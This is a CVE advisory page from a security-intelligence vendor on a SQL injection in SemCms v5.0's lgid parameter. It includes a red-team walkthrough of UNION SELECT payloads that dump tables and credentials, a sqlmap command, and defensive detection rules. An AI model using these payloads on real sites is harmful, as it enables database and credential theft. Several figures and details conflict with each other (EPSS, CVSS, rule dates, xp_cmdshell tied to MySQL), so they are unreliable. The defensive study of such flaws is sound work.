☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-51660

CVE-2025-51660 SQL Injection in Semcms
📅 PUBLISHED: 2025-07-14 00:00 UTC 🔄 UPDATED: 2026-09-23 20:30 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.23%
👁️
0.23% probability
5.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-51660 identifies a SQL injection vulnerability in SemCms v5.0, specifically within the SEMCMS_Products.php file via the lgid parameter. This flaw allows an unauthenticated attacker to inject arbitrary SQL commands, potentially leading to unauthorized data access, modification, or deletion. The vulnerability is publicly known but currently unpatched, posing a significant risk to all instances running the affected version. No EPSS score or exploit code has been published at this time, but the attack vector is straightforward and exploitable with basic web application testing tools.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the vulnerability characteristics, a reasonable assessment is:

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
  • Confidentiality (C): High (H) – Full database read access possible.
  • Integrity (I): High (H) – Data can be modified or deleted.
  • Availability (A): High (H) – Potential for denial of service via SQL manipulation.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The lack of authentication and low complexity make this a high-priority target for automated scanning and exploitation.

Deep Dive & Mechanics

The vulnerability resides in the SEMCMS_Products.php script, which handles product-related queries. The lgid parameter is used to filter products by category or language ID. The application fails to sanitize or parameterize this input before incorporating it into a SQL query.

Vulnerable Code Pattern (Conceptual):

$lgid = $_GET['lgid'];
$query = "SELECT * FROM products WHERE lang_id = $lgid";
$result = mysqli_query($conn, $query);

An attacker can manipulate the lgid parameter to break out of the intended SQL syntax. For example:

http://target.com/SEMCMS_Products.php?lgid=1 UNION SELECT username,password FROM users--

This would return user credentials alongside product data, assuming the column counts match.

Impact:

  • Data Exfiltration: Attackers can dump the entire database, including user credentials, session tokens, and sensitive business data.
  • Authentication Bypass: By manipulating login queries, attackers may gain administrative access.
  • Data Integrity Loss: UPDATE or DELETE statements can corrupt or destroy data.
  • Potential RCE: In some configurations, SQL injection can lead to file writes or command execution via INTO OUTFILE or xp_cmdshell (if MySQL and PHP configurations allow).

Vulnerable vs. Patched Code

Vulnerable Code (SemCms v5.0):

$lgid = $_GET['lgid'];
$query = "SELECT * FROM products WHERE lang_id = $lgid";
$result = mysqli_query($conn, $query);

Patched Code (Hypothetical):

$lgid = intval($_GET['lgid']); // Cast to integer
$query = "SELECT * FROM products WHERE lang_id = ?";
$stmt = mysqli_prepare($conn, $query);
mysqli_stmt_bind_param($stmt, "i", $lgid);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);

The patched version uses prepared statements with parameterized queries, which completely prevents SQL injection by separating SQL logic from data.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  1. Deploy a vulnerable SemCms v5.0 instance (e.g., using Docker or a local web server with PHP and MySQL).
  2. Ensure the SEMCMS_Products.php endpoint is accessible.

Exploitation Steps:

  1. Identify the vulnerable parameter:
    http://target/SEMCMS_Products.php?lgid=1
    
  2. Test for SQL injection:
    http://target/SEMCMS_Products.php?lgid=1'
    
    If an error is returned (e.g., MySQL syntax error), the parameter is injectable.
  3. Determine column count:
    http://target/SEMCMS_Products.php?lgid=1 ORDER BY 10--
    
    Adjust the number until an error occurs to find the correct column count.
  4. Extract data:
    http://target/SEMCMS_Products.php?lgid=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--
    
    Replace numbers with database functions like database(), user(), or @@version.
  5. Dump tables:
    http://target/SEMCMS_Products.php?lgid=1 UNION SELECT 1,group_concat(table_name),3,4,5,6,7,8,9,10 FROM information_schema.tables WHERE table_schema=database()--
    
  6. Dump credentials:
    http://target/SEMCMS_Products.php?lgid=1 UNION SELECT 1,group_concat(username,0x3a,password),3,4,5,6,7,8,9,10 FROM users--
    

Automated Tools:

  • sqlmap: sqlmap -u "http://target/SEMCMS_Products.php?lgid=1" --batch --dbs
  • Burp Suite: Use Intruder or Repeater to manually craft payloads.

Blue Team (Defensive)

Detection:

  • Monitor web server logs for unusual SQL keywords in GET parameters (e.g., UNION, SELECT, --, ').
  • Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
  • Use database activity monitoring to detect anomalous queries.

Hunting:

  • Search for requests to SEMCMS_Products.php with lgid parameters containing SQL syntax.
  • Look for error messages containing "MySQL" or "SQL syntax" in server responses.

Containment:

  • Immediately isolate the vulnerable server if exploitation is suspected.
  • Review database logs for unauthorized queries.
  • Rotate all credentials stored in the database.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests to /SEMCMS_Products.php with lgid parameter containing SQL keywords (e.g., UNION, SELECT, --, ').
    • Outbound database connections from the web server to unknown IPs (data exfiltration).
  • File IOCs:
    • Unexpected files in the web root (e.g., .sql dumps, webshells).
    • Modified SEMCMS_Products.php file (if attacker patches it).
  • Log IOCs:
    • Web server logs showing repeated 400 or 500 errors from the same IP.
    • Database logs showing UNION SELECT or INTO OUTFILE statements.

Detection Engineering

YARA Rule

rule CVE_2025_51660_SQLi_SemCms {
    meta:
        description = "Detects SQL injection attempts targeting SemCms v5.0 lgid parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-51660"
    strings:
        $s1 = "lgid=" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "DROP" nocase
        $s5 = "1=1" nocase
        $s6 = "' OR '" nocase
    condition:
        $s1 and any of ($s2,$s3,$s4,$s5,$s6)
}

Sigma Rule

title: SQL Injection Attempt on SemCms Products Page
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection patterns in HTTP requests to SEMCMS_Products.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'SEMCMS_Products.php'
        cs-uri-query|contains|any:
            - 'lgid='
            - 'UNION'
            - 'SELECT'
            - 'DROP'
            - '1=1'
            - "' OR '"
    condition: selection
falsepositives:
    - Legitimate use of the word "union" in a product name (unlikely)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2025-51660 SQL Injection Attempt on SemCms Products"; flow:to_server,established; content:"GET"; http_method; content:"SEMCMS_Products.php"; http_uri; content:"lgid="; http_uri; pcre:"/(UNION|SELECT|DROP|1=1|' OR ')/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the vulnerable endpoint: If SEMCMS_Products.php is not critical, remove or rename it.
  2. Apply input validation: Implement strict whitelisting for the lgid parameter (e.g., only allow numeric values).
  3. Use a WAF: Deploy a Web Application Firewall with SQL injection rules (e.g., ModSecurity with OWASP CRS).

Long-Term Fix:

  • Upgrade SemCms: Monitor the vendor for a patched version. If none is available, consider migrating to a supported CMS.
  • Code Hardening: Rewrite the vulnerable code to use prepared statements or parameterized queries.
  • Database Hardening: Apply the principle of least privilege to the database user used by the application.

Workaround:

  • Input Sanitization: Add a PHP filter to reject non-numeric input:
    if (!is_numeric($_GET['lgid'])) {
        die("Invalid input");
    }
    

Valters IT – Securing your digital frontier.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-51660/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.